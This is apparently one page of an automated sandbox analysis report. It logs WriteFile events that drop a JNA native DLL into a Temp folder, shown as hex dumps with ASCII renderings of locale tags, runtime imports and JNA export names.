00 00 d0 8a 02 10 01 
04 00 00 d4 8a 02 10 
02 04 00 00 e0 8a 02 
10 03 04 00 00 ec 8a 
02 10 04 04 00 00 80 
79 02 10 05 04 00 00 
f8 8a 02 10 06 04 00 
00 04 8b 02 10 07 04 
00 00 10 8b 02 10 08 
04 00 00 1c 8b 02 10 
09 04 00 00 d8 77 02 
10 0b 04 00 00 28 8b 
02 10 0c 04 00 00 34 
8b 02 10 0d 04 00 00 
40 8b 02 10 0e 04 00 
00 4c 8b 02 10 0f 04 
00 00 58 8b 02 10 10 
04 00 00 64 8b 02 10 
11 04 00 00 5c 79 02 
10 12 04 00 00 74 79 
02 10 13 

..`...D...h...F...p...G...x...
I.......J.......K.......N.....
..O.......P.......V.......W...
....Z.......e.................
...........................y..
..............................
.......w......(.......4.......
@.......L.......X.......d.....
..\y......ty...

success or wait 1 6DD59FBC WriteFile
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unknown 1024 00 00 48 90 02 10 0a 
14 00 00 54 90 02 10 
0c 14 00 00 60 90 02 
10 1a 14 00 00 6c 90 
02 10 3b 14 00 00 84 
90 02 10 01 18 00 00 
94 90 02 10 09 18 00 
00 a0 90 02 10 0a 18 
00 00 ac 90 02 10 0c 
18 00 00 b8 90 02 10 
1a 18 00 00 c4 90 02 
10 3b 18 00 00 dc 90 
02 10 01 1c 00 00 ec 
90 02 10 09 1c 00 00 
f8 90 02 10 0a 1c 00 
00 04 91 02 10 1a 1c 
00 00 10 91 02 10 3b 
1c 00 00 28 91 02 10 
01 20 00 00 38 91 02 
10 09 20 00 00 44 91 
02 10 0a 20 00 00 50 
91 02 10 3b 20 00 00 
5c 91 02 10 01 24 00 
00 6c 91 02 10 09 24 
00 00 78 91 02 10 0a 
24 00 00 84 91 02 10 
3b 24 00 00 90 91 02 
10 01 28 00 00 a0 91 
02 10 09 28 00 00 ac 
91 02 10 0a 28 00 00 
b8 91 02 10 01 2c 00 
00 c4 91 02 10 09 2c 
00 00 d0 91 02 10 0a 
2c 00 00 dc 91 02 10 
01 30 00 00 e8 91 02 
10 09 30 00 00 f4 91 
02 10 0a 

..H.......T.......`.......l...
;.............................
..................;...........
............................;...(.... 
..8.... ..D.... ..P...; 
..\....$..l....$..x....$....
..;$.......(.......(.......(..
.....,.......,.......,.......0
.......0.......

success or wait 1 6DD59FBC WriteFile

C:\Users\user\AppData\Local\Temp\jna-
99048687\jna7235467147341798336.dll

unknown 1024 46 00 52 00 00 00 68 
00 65 00 2d 00 49 00 
4c 00 00 00 68 00 75 
00 2d 00 48 00 55 00 
00 00 69 00 73 00 2d 
00 49 00 53 00 00 00 
69 00 74 00 2d 00 49 
00 54 00 00 00 6e 00 
6c 00 2d 00 4e 00 4c 
00 00 00 6e 00 62 00 
2d 00 4e 00 4f 00 00 
00 70 00 6c 00 2d 00 
50 00 4c 00 00 00 70 
00 74 00 2d 00 42 00 
52 00 00 00 72 00 6f 
00 2d 00 52 00 4f 00 
00 00 72 00 75 00 2d 
00 52 00 55 00 00 00 
68 00 72 00 2d 00 48 
00 52 00 00 00 73 00 
6b 00 2d 00 53 00 4b 
00 00 00 73 00 71 00 
2d 00 41 00 4c 00 00 
00 73 00 76 00 2d 00 
53 00 45 00 00 00 74 
00 68 00 2d 00 54 00 
48 00 00 00 74 00 72 
00 2d 00 54 00 52 00 
00 00 75 00 72 00 2d 
00 50 00 4b 00 00 00 
69 00 64 00 2d 00 49 
00 44 00 00 00 75 00 
6b 00 2d 00 55 00 41 
00 00 00 62 00 65 00 
2d 00 42 00 59 00 00 
00 73 00 6c 00 2d 00 
53 00 49 

F.R...h.e.-.I.L...h.u.-.H.U...
i.s.-.I.S...i.t.-.I.T...n.l.-.
N.L...n.b.-.N.O...p.l.-.P.L...
p.t.-.B.R...r.o.-.R.O...r.u.-.
R.U...h.r.-.H.R...s.k.-.S.K...
s.q.-.A.L...s.v.-.S.E...t.h.-.
T.H...t.r.-.T.R...u.r.-.P.K...
i.d.-.I.D...u.k.-.U.A...b.e.-.
B.Y...s.l.-.S.I

success or wait 2 6DD59FBC WriteFile
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unknown 1024 2d 00 45 00 43 00 00 
00 00 00 61 00 72 00 
2d 00 45 00 47 00 00 
00 7a 00 68 00 2d 00 
48 00 4b 00 00 00 64 
00 65 00 2d 00 41 00 
54 00 00 00 65 00 6e 
00 2d 00 41 00 55 00 
00 00 65 00 73 00 2d 
00 45 00 53 00 00 00 
66 00 72 00 2d 00 43 
00 41 00 00 00 73 00 
72 00 2d 00 53 00 50 
00 2d 00 43 00 79 00 
72 00 6c 00 00 00 00 
00 73 00 65 00 2d 00 
46 00 49 00 00 00 71 
00 75 00 7a 00 2d 00 
50 00 45 00 00 00 00 
00 61 00 72 00 2d 00 
4c 00 59 00 00 00 7a 
00 68 00 2d 00 53 00 
47 00 00 00 64 00 65 
00 2d 00 4c 00 55 00 
00 00 65 00 6e 00 2d 
00 43 00 41 00 00 00 
65 00 73 00 2d 00 47 
00 54 00 00 00 66 00 
72 00 2d 00 43 00 48 
00 00 00 68 00 72 00 
2d 00 42 00 41 00 00 
00 73 00 6d 00 6a 00 
2d 00 4e 00 4f 00 00 
00 00 00 61 00 72 00 
2d 00 44 00 5a 00 00 
00 7a 00 68 00 2d 00 
4d 00 4f 

-.E.C.....a.r.-.E.G...z.h.-.H.
K...d.e.-.A.T...e.n.-.A.U...e.
s.-.E.S...f.r.-.C.A...s.r.-.S.
P.-.C.y.r.l.....s.e.-.F.I...q.
u.z.-.P.E.....a.r.-.L.Y...z.h.-
.S.G...d.e.-.L.U...e.n.-.C.A.
..e.s.-.G.T...f.r.-.C.H...h.r.-
.B.A...s.m.j.-.N.O.....a.r.-.
D.Z...z.h.-.M.O

success or wait 1 6DD59FBC WriteFile

C:\Users\user\AppData\Local\Temp\jna-
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unknown 1024 02 08 2d 00 03 08 35 
00 03 09 3e 00 03 0a 
48 00 04 0a 52 00 04 
0b 5d 00 04 0c 69 00 
05 0c 75 00 05 0d 82 
00 05 0e 90 00 05 0f 
9f 00 06 0f ae 00 06 
10 be 00 06 11 cf 00 
07 11 e0 00 07 12 f2 
00 07 13 05 01 08 13 
18 01 08 15 2d 01 08 
16 43 01 09 16 59 01 
09 17 70 01 09 18 88 
01 0a 18 a0 01 0a 19 
b9 01 0a 1a d3 01 0a 
1b ee 01 0b 1b 09 02 
0b 1c 25 02 0b 1d 0a 
00 00 00 64 00 00 00 
e8 03 00 00 10 27 00 
00 a0 86 01 00 40 42 
0f 00 80 96 98 00 00 
e1 f5 05 00 ca 9a 3b 
30 00 00 00 31 23 49 
4e 46 00 00 00 31 23 
51 4e 41 4e 00 00 31 
23 53 4e 41 4e 00 00 
31 23 49 4e 44 00 00 
00 00 00 00 00 00 00 
00 00 6c 6f 67 31 30 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 f0 3f 00 00 
00 00 00 00 f0 3f 33 
04 00 00 00 00 00 00 
33 04 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 

..-...5...>...H...R...]...i...
u.............................
..............-...C...Y...p...
........................%.....
..d........'......@B..........
...;0...1#INF...1#QNAN..1#
SNAN
..1#IND...........log10.......
...........?.......?3.......3.
...............

success or wait 1 6DD59FBC WriteFile
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unknown 1024 d9 f8 db 7a 1b 3d 00 
a0 d6 70 11 28 b0 3f 
76 50 af 28 8b f3 1b 
3d 00 60 f1 ec 1f 9c b1 
3f d4 55 53 1e 3f e0 
3e 3d 00 c0 65 fd 1b 
15 b3 3f 95 67 8c 04 
80 e2 37 3d 00 60 c5 
80 27 93 b4 3f f3 a5 
62 cd ac c4 2f 3d 00 
80 e9 5e 73 05 b6 3f 
9f 7d a1 23 cf c3 17 
3d 00 a0 4a 8d 77 6b 
b7 3f 7a 6e a0 12 e8 
03 1c 3d 00 c0 e4 4e 
0b d6 b8 3f 82 4c 4e 
cc e5 00 39 3d 00 40 
24 22 b4 33 ba 3f 35 
57 67 34 70 f1 36 3d 
00 80 a7 54 b6 95 bb 
3f c7 4e 76 24 5e 0e 
29 3d 00 e0 e9 02 26 
ea bc 3f cb cb 2e 82 
29 d1 eb 3c 00 a0 6c 
c1 b4 42 be 3f e9 4d 
8d f3 0f e5 25 3d 00 
60 6a b1 05 8d bf 3f 
a7 77 b7 a2 a5 8e 2a 
3d 00 20 3c c5 9b 6d 
c0 3f 45 fa e1 ee 8d 
81 32 3d 00 00 de ac 
3e 0d c1 3f ae f0 83 
cb 45 8a 1e 3d 00 d0 
74 15 3f b8 c1 3f d4 ff 
93 f1 19 0b 01 3d 00 
d0 4f 05 fe 51 c2 3f c0 

...z.=...p.(.?vP.(...=.`.....?

.US.?.>=..e....?.g....7=.`..'.

.?..b.../=...^s..?.}.#...=..J.
wk.?
zn.....=...N...?.LN...9=.@
$".3.?
5Wg4p.6=...T...?.Nv$^.)=
....&..?....)..<..l..B.?.M....
%=.`j....?.w....*=. <..m.?E...
..2=....>..?....E..=..t.?..?..
.....=..O..Q.?.

success or wait 1 6DD59FBC WriteFile
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unknown 140 31 00 5f 79 6e 00 5f 
6c 6f 67 62 00 00 00 
5f 6e 65 78 74 61 66 
74 65 72 00 00 00 00 
00 00 14 00 00 00 60 
ae 02 10 1d 00 00 00 
64 ae 02 10 1a 00 00 
00 54 ae 02 10 1b 00 
00 00 58 ae 02 10 1f 
00 00 00 40 b8 02 10 
13 00 00 00 48 b8 02 
10 21 00 00 00 c8 b6 
02 10 0e 00 00 00 68 
ae 02 10 0d 00 00 00 
70 ae 02 10 0f 00 00 
00 d0 b6 02 10 10 00 
00 00 d8 b6 02 10 05 
00 00 00 78 ae 02 10 
1e 00 00 00 e0 b6 02 
10 12 00 00 00 e4 b6 

1._yn._logb..._nextafter.....
.....`.......d.......T.......X.
......@.......H...!...........
h.......p.....................
..x.................

success or wait 1 6DD59FBC WriteFile
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unknown 1024 00 00 fe ff ff ff 00 00 
00 00 d4 ff ff ff 00 00 
00 00 fe ff ff ff 00 00 
00 00 90 01 02 10 00 
00 00 00 fe ff ff ff 00 
00 00 00 d4 ff ff ff 00 
00 00 00 fe ff ff ff 00 
00 00 00 52 28 02 10 
00 00 00 00 fe ff ff ff 
00 00 00 00 c4 ff ff ff 
00 00 00 00 fe ff ff ff 
00 00 00 00 ae 2a 02 
10 00 00 00 00 fe ff ff 
ff 00 00 00 00 d8 ff ff ff 
00 00 00 00 fe ff ff ff f9 
4d 02 10 0c 4e 02 10 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 ff ff ff ff 00 00 00 
00 3e c7 02 00 01 00 
00 00 47 00 00 00 47 
00 00 00 78 c4 02 00 
94 c5 02 00 b0 c6 02 
00 20 10 00 00 50 11 
00 00 b0 2b 00 00 a0 
4c 00 00 70 3b 00 00 
d0 37 00 00 20 36 00 
00 10 37 00 00 a0 35 
00 00 40 36 00 00 00 
3c 00 00 00 56 00 00 
b0 37 00 00 e0 2c 00 
00 60 47 00 00 20 48 
00 00 b0 cf 00 00 e0 
4b 00 00 20 4b 00 00 
a0 

..............................

............................R(

..............................

.*...........................M

...N..........................
>.......G...G...x........... .
..P....+...L..p;...7.. 6...7..
.5..@6...<...V...7...,..`G.. H
.......K.. K...
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unknown 1024 40 31 36 00 5f 4a 61 
76 61 5f 63 6f 6d 5f 73 
75 6e 5f 6a 6e 61 5f 
4e 61 74 69 76 65 5f 
63 6c 6f 73 65 40 31 
36 00 5f 4a 61 76 61 
5f 63 6f 6d 5f 73 75 6e 
5f 6a 6e 61 5f 4e 61 
74 69 76 65 5f 63 72 
65 61 74 65 4e 61 74 
69 76 65 43 61 6c 6c 
62 61 63 6b 40 33 36 
00 5f 4a 61 76 61 5f 
63 6f 6d 5f 73 75 6e 5f 
6a 6e 61 5f 4e 61 74 
69 76 65 5f 66 66 69 
5f 31 63 61 6c 6c 40 
34 30 00 5f 4a 61 76 
61 5f 63 6f 6d 5f 73 75 
6e 5f 6a 6e 61 5f 4e 
61 74 69 76 65 5f 66 
66 69 5f 31 66 72 65 
65 5f 31 63 6c 6f 73 
75 72 65 40 31 36 00 
5f 4a 61 76 61 5f 63 6f 
6d 5f 73 75 6e 5f 6a 
6e 61 5f 4e 61 74 69 
76 65 5f 66 66 69 5f 
31 70 72 65 70 5f 31 
63 69 66 40 33 32 00 
5f 4a 61 76 61 5f 63 6f 
6d 5f 73 75 6e 5f 6a 
6e 61 5f 4e 61 74 69 
76 65 5f 66 66 69 5f 
31 70 72 65 70 5f 31 
63 6c 6f 73 

@16._Java_com_sun_jna
_Native_c
lose@16._Java_com_sun
_jna_Nati
ve_createNativeCallback
@36._Ja
va_com_sun_jna_Native_f
fi_1cal
l@40._Java_com_sun_jna
_Native_
ffi_1free_1closure@16._Ja
va_co
m_sun_jna_Native_ffi_1pr
ep_1ci
f@32._Java_com_sun_jna
_Native_ffi_1prep_1clos
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unknown 1024 69 76 65 5f 69 6e 69 
74 49 44 73 40 38 00 
5f 4a 61 76 61 5f 63 6f 
6d 5f 73 75 6e 5f 6a 
6e 61 5f 4e 61 74 69 
76 65 5f 69 6e 69 74 
69 61 6c 69 7a 65 5f 
31 66 66 69 5f 31 74 
79 70 65 40 31 36 00 
5f 4a 61 76 61 5f 63 6f 
6d 5f 73 75 6e 5f 6a 
6e 61 5f 4e 61 74 69 
76 65 5f 69 6e 76 6f 
6b 65 44 6f 75 62 6c 
65 40 32 38 00 5f 4a 
61 76 61 5f 63 6f 6d 5f 
73 75 6e 5f 6a 6e 61 
5f 4e 61 74 69 76 65 
5f 69 6e 76 6f 6b 65 
46 6c 6f 61 74 40 32 
38 00 5f 4a 61 76 61 
5f 63 6f 6d 5f 73 75 6e 
5f 6a 6e 61 5f 4e 61 
74 69 76 65 5f 69 6e 
76 6f 6b 65 49 6e 74 
40 32 38 00 5f 4a 61 
76 61 5f 63 6f 6d 5f 73 
75 6e 5f 6a 6e 61 5f 
4e 61 74 69 76 65 5f 
69 6e 76 6f 6b 65 4c 
6f 6e 67 40 32 38 00 
5f 4a 61 76 61 5f 63 6f 
6d 5f 73 75 6e 5f 6a 
6e 61 5f 4e 61 74 69 
76 65 5f 69 6e 76 6f 
6b 65 4f 62 

ive_initIDs@8._Java_com
_sun_jn
a_Native_initialize_1ffi_1ty
pe
@16._Java_com_sun_jna
_Native_i
nvokeDouble@28._Java_c
om_sun_j
na_Native_invokeFloat@2
8._Java
_com_sun_jna_Native_inv
okeInt@
28._Java_com_sun_jna_N
ative_in
vokeLong@28._Java_com
_sun_jna_
Native_invokeOb

success or wait 1 6DD59FBC WriteFile
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unknown 1024 61 76 61 5f 63 6f 6d 5f 
73 75 6e 5f 6a 6e 61 
5f 4e 61 74 69 76 65 
5f 73 65 74 43 68 61 
72 40 33 32 00 5f 4a 
61 76 61 5f 63 6f 6d 5f 
73 75 6e 5f 6a 6e 61 
5f 4e 61 74 69 76 65 
5f 73 65 74 44 65 74 
61 63 68 53 74 61 74 
65 40 32 30 00 5f 4a 
61 76 61 5f 63 6f 6d 5f 
73 75 6e 5f 6a 6e 61 
5f 4e 61 74 69 76 65 
5f 73 65 74 44 6f 75 
62 6c 65 40 33 36 00 
5f 4a 61 76 61 5f 63 6f 
6d 5f 73 75 6e 5f 6a 
6e 61 5f 4e 61 74 69 
76 65 5f 73 65 74 46 
6c 6f 61 74 40 33 32 
00 5f 4a 61 76 61 5f 
63 6f 6d 5f 73 75 6e 5f 
6a 6e 61 5f 4e 61 74 
69 76 65 5f 73 65 74 
49 6e 74 40 33 32 00 
5f 4a 61 76 61 5f 63 6f 
6d 5f 73 75 6e 5f 6a 
6e 61 5f 4e 61 74 69 
76 65 5f 73 65 74 4c 
61 73 74 45 72 72 6f 
72 40 31 32 00 5f 4a 
61 76 61 5f 63 6f 6d 5f 
73 75 6e 5f 6a 6e 61 
5f 4e 61 74 69 76 65 
5f 73 65 

ava_com_sun_jna_Native_
setChar
@32._Java_com_sun_jna
_Native_s
etDetachState@20._Java_
com_sun
_jna_Native_setDouble@3
6._Java
_com_sun_jna_Native_set
Float@3
2._Java_com_sun_jna_Na
tive_set
Int@32._Java_com_sun_j
na_Nativ
e_setLastError@12._Java
_com_sun_jna_Native_se

success or wait 1 6DD59FBC WriteFile
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unknown 1024 65 63 74 69 6f 6e 00 
00 05 01 44 65 6c 65 
74 65 43 72 69 74 69 
63 61 6c 53 65 63 74 
69 6f 6e 00 48 03 49 
6e 69 74 69 61 6c 69 
7a 65 43 72 69 74 69 
63 61 6c 53 65 63 74 
69 6f 6e 41 6e 64 53 
70 69 6e 43 6f 75 6e 
74 00 40 04 52 61 69 
73 65 45 78 63 65 70 
74 69 6f 6e 00 00 51 
01 45 78 69 74 50 72 
6f 63 65 73 73 00 66 
02 47 65 74 4d 6f 64 
75 6c 65 48 61 6e 64 
6c 65 45 78 57 00 00 
62 02 47 65 74 4d 6f 
64 75 6c 65 46 69 6c 
65 4e 61 6d 65 41 00 
00 d1 03 4d 75 6c 74 
69 42 79 74 65 54 6f 
57 69 64 65 43 68 61 
72 00 2f 03 48 65 61 
70 41 6c 6c 6f 63 00 
33 03 48 65 61 70 46 
72 65 65 00 00 96 03 
4c 43 4d 61 70 53 74 
72 69 6e 67 57 00 00 
c0 02 47 65 74 53 74 
64 48 61 6e 64 6c 65 
00 00 3e 02 47 65 74 
46 69 6c 65 54 79 70 
65 00 a4 01 47 65 74 
41 43 50 00 00 68 01 
46 69 6e 

ection....DeleteCriticalSecti
o
n.H.InitializeCriticalSection
A
ndSpinCount.@.RaiseExc
eption..
Q.ExitProcess.f.GetModul
eHandl
eExW..b.GetModuleFileNa
meA....
MultiByteToWideChar./.He
apAllo
c.3.HeapFree....LCMapStri
ngW..
..GetStdHandle..>.GetFile
Type...GetACP..h.Fin

success or wait 1 6DD59FBC WriteFile
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unknown 1024 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 01 00 00 00 4a 
4e 41 3a 20 65 72 72 
6f 72 20 63 6f 6e 76 
65 72 74 69 6e 67 20 
65 72 72 6f 72 20 6d 
65 73 73 61 67 65 3a 
20 25 64 0a 00 00 00 
00 5c 00 5c 00 3f 00 
5c 00 25 00 6c 00 73 
00 00 00 6a 61 76 61 
2f 6c 61 6e 67 2f 45 
72 72 6f 72 00 6a 61 
76 61 2f 6c 61 6e 67 
2f 45 72 72 6f 72 00 
55 6e 65 78 70 65 63 
74 65 64 20 65 72 72 
6f 72 20 65 6e 75 6d 
65 72 61 74 69 6e 67 
20 6d 6f 64 75 6c 65 
73 00 00 00 00 6a 61 
76 61 2f 6c 61 6e 67 
2f 45 72 72 6f 72 00 
25 73 3a 20 49 6e 76 
61 6c 69 64 20 63 61 
6c 6c 69 6e 67 20 63 
6f 6e 76 65 6e 74 69 
6f 6e 00 00 6a 61 76 
61 2f 6c 61 6e 67 2f 
49 6c 6c 

..............................

................................JNA: 
error converting error 
message: 
%d.....\.\.?.\.%.l.s.
..java/lang/Error.java/lang/
Error.Unexpected error 
enumerating 
modules....java/lang/Error.
%s: Invalid calling 
convention..java/lang/Ill
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unknown 1024 6f 72 79 45 72 72 6f 
72 00 00 49 6e 76 61 
6c 69 64 20 6d 65 6d 
6f 72 79 20 61 63 63 
65 73 73 00 00 00 6a 
61 76 61 2f 6c 61 6e 
67 2f 45 72 72 6f 72 
00 43 61 6e 27 74 20 
77 72 69 74 65 20 63 
68 61 72 61 63 74 65 
72 73 00 00 6a 61 76 
61 2f 6c 61 6e 67 2f 4f 
75 74 4f 66 4d 65 6d 
6f 72 79 45 72 72 6f 
72 00 00 49 6e 76 61 
6c 69 64 20 6d 65 6d 
6f 72 79 20 61 63 63 
65 73 73 00 00 00 6a 
61 76 61 2f 6c 61 6e 
67 2f 45 72 72 6f 72 
00 43 61 6e 27 74 20 
61 6c 6c 6f 63 61 74 
65 20 43 20 73 74 72 
69 6e 67 00 6a 61 76 
61 2f 6c 61 6e 67 2f 4f 
75 74 4f 66 4d 65 6d 
6f 72 79 45 72 72 6f 
72 00 00 75 74 66 38 
00 00 00 00 75 74 66 
38 00 00 00 00 43 61 
6e 27 74 20 61 6c 6c 
6f 63 61 74 65 20 43 
20 73 74 72 69 6e 67 
00 6a 61 76 61 2f 6c 
61 6e 67 2f 4f 75 74 4f 
66 4d 65 6d 6f 72 79 

oryError..Invalid memory 
acces
s...java/lang/Error.Can't 
write 
characters..java/lang/OutO
fMemoryError..Invalid 
memory acc
ess...java/lang/Error.Can't 
allocate C 
string.java/lang/OutO
fMemoryError..utf8....utf8...
.Can't allocate C 
string.java/l
ang/OutOfMemory

success or wait 2 6DD59FBC WriteFile
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unknown 1024 79 74 65 42 75 66 66 
65 72 00 6a 61 76 61 
2e 6e 69 6f 2e 42 79 
74 65 42 75 66 66 65 
72 00 6a 61 76 61 2f 
6e 69 6f 2f 43 68 61 
72 42 75 66 66 65 72 
00 6a 61 76 61 2e 6e 
69 6f 2e 43 68 61 72 
42 75 66 66 65 72 00 
6a 61 76 61 2f 6e 69 
6f 2f 53 68 6f 72 74 42 
75 66 66 65 72 00 00 
00 00 6a 61 76 61 2e 
6e 69 6f 2e 53 68 6f 
72 74 42 75 66 66 65 
72 00 00 00 00 6a 61 
76 61 2f 6e 69 6f 2f 49 
6e 74 42 75 66 66 65 
72 00 00 6a 61 76 61 
2e 6e 69 6f 2e 49 6e 
74 42 75 66 66 65 72 
00 00 6a 61 76 61 2f 
6e 69 6f 2f 4c 6f 6e 67 
42 75 66 66 65 72 00 
6a 61 76 61 2e 6e 69 
6f 2e 4c 6f 6e 67 42 
75 66 66 65 72 00 6a 
61 76 61 2f 6e 69 6f 2f 
46 6c 6f 61 74 42 75 
66 66 65 72 00 00 00 
00 6a 61 76 61 2e 6e 
69 6f 2e 46 6c 6f 61 
74 42 75 66 66 65 72 
00 00 00 00 6a 61 76 
61 2f 6e 69 6f 2f 

yteBuffer.java.nio.ByteBuff
er.
java/nio/CharBuffer.java.ni
o.C
harBuffer.java/nio/ShortBuf
fer
....java.nio.ShortBuffer....ja
va/nio/IntBuffer..java.nio.In
t
Buffer..java/nio/LongBuffer
.ja
va.nio.LongBuffer.java/nio/
Flo
atBuffer....java.nio.FloatBu
ffer....java/nio/

success or wait 1 6DD59FBC WriteFile
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unknown 1024 43 68 61 72 61 63 74 
65 72 3c 69 6e 69 74 
3e 28 43 29 56 00 00 
00 28 42 29 56 00 00 
00 00 3c 69 6e 69 74 
3e 00 00 6a 61 76 61 
2e 6c 61 6e 67 2e 42 
79 74 65 3c 69 6e 69 
74 3e 28 42 29 56 00 
00 00 00 28 5a 29 56 
00 00 00 00 3c 69 6e 
69 74 3e 00 00 6a 61 
76 61 2e 6c 61 6e 67 
2e 42 6f 6f 6c 65 61 
6e 3c 69 6e 69 74 3e 
28 5a 29 56 00 28 46 
29 56 00 00 00 00 3c 
69 6e 69 74 3e 00 00 
6a 61 76 61 2e 6c 61 
6e 67 2e 46 6c 6f 61 
74 3c 69 6e 69 74 3e 
28 46 29 56 00 00 00 
28 44 29 56 00 00 00 
00 3c 69 6e 69 74 3e 
00 00 6a 61 76 61 2e 
6c 61 6e 67 2e 44 6f 
75 62 6c 65 3c 69 6e 
69 74 3e 28 44 29 56 
00 00 28 29 4c 6a 61 
76 61 2f 6c 61 6e 67 
2f 43 6c 61 73 73 3b 
00 67 65 74 43 6f 6d 
70 6f 6e 65 6e 74 54 
79 70 65 00 00 00 00 
43 6c 61 73 73 2e 67 
65 74 43 6f 6d 70 6f 
6e 65 6e 

Character<init>(C)V...
(B)V....
<init>..java.lang.Byte<init>
(B)V....(Z)V....
<init>..java.lan
g.Boolean<init>(Z)V.
(F)V....<i
nit>..java.lang.Float<init>
(F)V...(D)V....
<init>..java.lang.
Double<init>(D)V..
()Ljava/lang
/Class;.getComponentTyp
e....Class.getComponen

success or wait 1 6DD59FBC WriteFile
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unknown 1024 00 00 61 72 72 61 79 
00 00 00 4c 6f 6e 67 
42 75 66 66 65 72 2e 
61 72 72 61 79 00 00 
00 00 28 29 49 00 61 
72 72 61 79 4f 66 66 
73 65 74 00 4c 6f 6e 
67 42 75 66 66 65 72 
2e 61 72 72 61 79 4f 
66 66 73 65 74 00 00 
28 29 5b 46 00 00 00 
00 61 72 72 61 79 00 
00 00 46 6c 6f 61 74 
42 75 66 66 65 72 2e 
61 72 72 61 79 00 00 
00 28 29 49 00 61 72 
72 61 79 4f 66 66 73 
65 74 00 46 6c 6f 61 
74 42 75 66 66 65 72 
2e 61 72 72 61 79 4f 
66 66 73 65 74 00 28 
29 5b 44 00 00 00 00 
61 72 72 61 79 00 00 
00 44 6f 75 62 6c 65 
42 75 66 66 65 72 2e 
61 72 72 61 79 00 00 
28 29 49 00 61 72 72 
61 79 4f 66 66 73 65 
74 00 44 6f 75 62 6c 
65 42 75 66 66 65 72 
2e 61 72 72 61 79 4f 
66 66 73 65 74 00 00 
00 00 5a 00 00 00 76 
61 6c 75 65 00 00 00 
42 6f 6f 6c 65 61 6e 
2e 76 61 6c 75 65 00 
00 00 42 

..array...LongBuffer.array...

.
()I.arrayOffset.LongBuffer.
arrayOffset..()
[F....array...Floa
tBuffer.array...
()I.arrayOffse
t.FloatBuffer.arrayOffset.()
[D
....array...DoubleBuffer.arr
ay..
()I.arrayOffset.DoubleBuffe
r
.arrayOffset....Z...value...B
oolean.value...B

success or wait 1 6DD59FBC WriteFile
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unknown 1024 55 6e 73 61 74 69 73 
66 69 65 64 4c 69 6e 
6b 45 72 72 6f 72 00 
00 6a 61 76 61 2f 6c 
61 6e 67 2f 45 72 72 
6f 72 00 6a 61 76 61 
2f 6c 61 6e 67 2f 55 
6e 73 61 74 69 73 66 
69 65 64 4c 69 6e 6b 
45 72 72 6f 72 00 00 
49 6e 76 61 6c 69 64 
20 6d 65 6d 6f 72 79 
20 61 63 63 65 73 73 
00 00 00 6a 61 76 61 
2f 6c 61 6e 67 2f 45 
72 72 6f 72 00 49 6e 
76 61 6c 69 64 20 6d 
65 6d 6f 72 79 20 61 
63 63 65 73 73 00 00 
00 6a 61 76 61 2f 6c 
61 6e 67 2f 45 72 72 
6f 72 00 49 6e 76 61 
6c 69 64 20 6d 65 6d 
6f 72 79 20 61 63 63 
65 73 73 00 00 00 6a 
61 76 61 2f 6c 61 6e 
67 2f 45 72 72 6f 72 
00 49 6e 76 61 6c 69 
64 20 6d 65 6d 6f 72 
79 20 61 63 63 65 73 
73 00 00 00 6a 61 76 
61 2f 6c 61 6e 67 2f 
45 72 72 6f 72 00 49 
6e 76 61 6c 69 64 20 
6d 65 6d 6f 72 79 20 
61 63 63 65 73 73 00 
00 00 6a 

UnsatisfiedLinkError..java/l
an
g/Error.java/lang/Unsatisfie
dLinkError..Invalid memory 
acces
s...java/lang/Error.Invalid 
memory 
access...java/lang/Error.
Invalid memory 
access...java/l
ang/Error.Invalid memory 
acces
s...java/lang/Error.Invalid 
memory access...j

success or wait 1 6DD59FBC WriteFile
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unknown 1024 76 65 4d 61 70 70 65 
64 3b 00 43 61 6e 27 
74 20 6f 62 74 61 69 
6e 20 73 74 61 74 69 
63 20 6d 65 74 68 6f 
64 20 66 72 6f 6d 4e 
61 74 69 76 65 28 43 
6c 61 73 73 2c 20 4f 
62 6a 65 63 74 29 20 
66 72 6f 6d 20 63 6c 
61 73 73 20 63 6f 6d 
2e 73 75 6e 2e 6a 6e 
61 2e 4e 61 74 69 76 
65 00 00 6a 61 76 61 
2f 6c 61 6e 67 2f 55 
6e 73 61 74 69 73 66 
69 65 64 4c 69 6e 6b 
45 72 72 6f 72 00 00 
6e 61 74 69 76 65 54 
79 70 65 00 00 28 4c 
6a 61 76 61 2f 6c 61 
6e 67 2f 72 65 66 6c 
65 63 74 2f 4d 65 74 
68 6f 64 3b 4c 6a 61 
76 61 2f 6c 61 6e 67 
2f 4f 62 6a 65 63 74 
3b 29 4c 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 4e 61 74 69 76 65 
4d 61 70 70 65 64 3b 
00 00 00 00 6a 61 76 
61 2f 6c 61 6e 67 2f 
55 6e 73 61 74 69 73 
66 69 65 64 4c 69 6e 
6b 45 72 72 6f 72 00 
00 74 6f 4e 61 74 69 
76 65 00 

veMapped;.Can't obtain 
static method 
fromNative(Class, Object) 
from class 
com.sun.jna.Nati
ve..java/lang/UnsatisfiedLi
nkError..nativeType..
(Ljava/lang/
reflect/Method;Ljava/lang/
Obje
ct;)Lcom/sun/jna/NativeMa
pped;
....java/lang/UnsatisfiedLin
kError..toNative.
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File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright null 2021 Page 490 of 706



C:\Users\user\AppData\Local\Temp\jna-
99048687\jna7235467147341798336.dll

unknown 1024 76 65 00 00 00 00 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 53 74 72 75 
63 74 75 72 65 00 00 
00 6a 61 76 61 2f 6c 
61 6e 67 2f 55 6e 73 
61 74 69 73 66 69 65 
64 4c 69 6e 6b 45 72 
72 6f 72 00 00 6e 65 
77 49 6e 73 74 61 6e 
63 65 00 43 61 6e 27 
74 20 6f 62 74 61 69 
6e 20 67 65 74 54 79 
70 65 49 6e 66 6f 20 
6d 65 74 68 6f 64 20 
66 6f 72 20 63 6c 61 
73 73 20 63 6f 6d 2e 
73 75 6e 2e 6a 6e 61 
2e 53 74 72 75 63 74 
75 72 65 00 6a 61 76 
61 2f 6c 61 6e 67 2f 
55 6e 73 61 74 69 73 
66 69 65 64 4c 69 6e 
6b 45 72 72 6f 72 00 
00 43 61 6e 27 74 20 
6f 62 74 61 69 6e 20 
73 74 61 74 69 63 20 
6e 65 77 49 6e 73 74 
61 6e 63 65 20 6d 65 
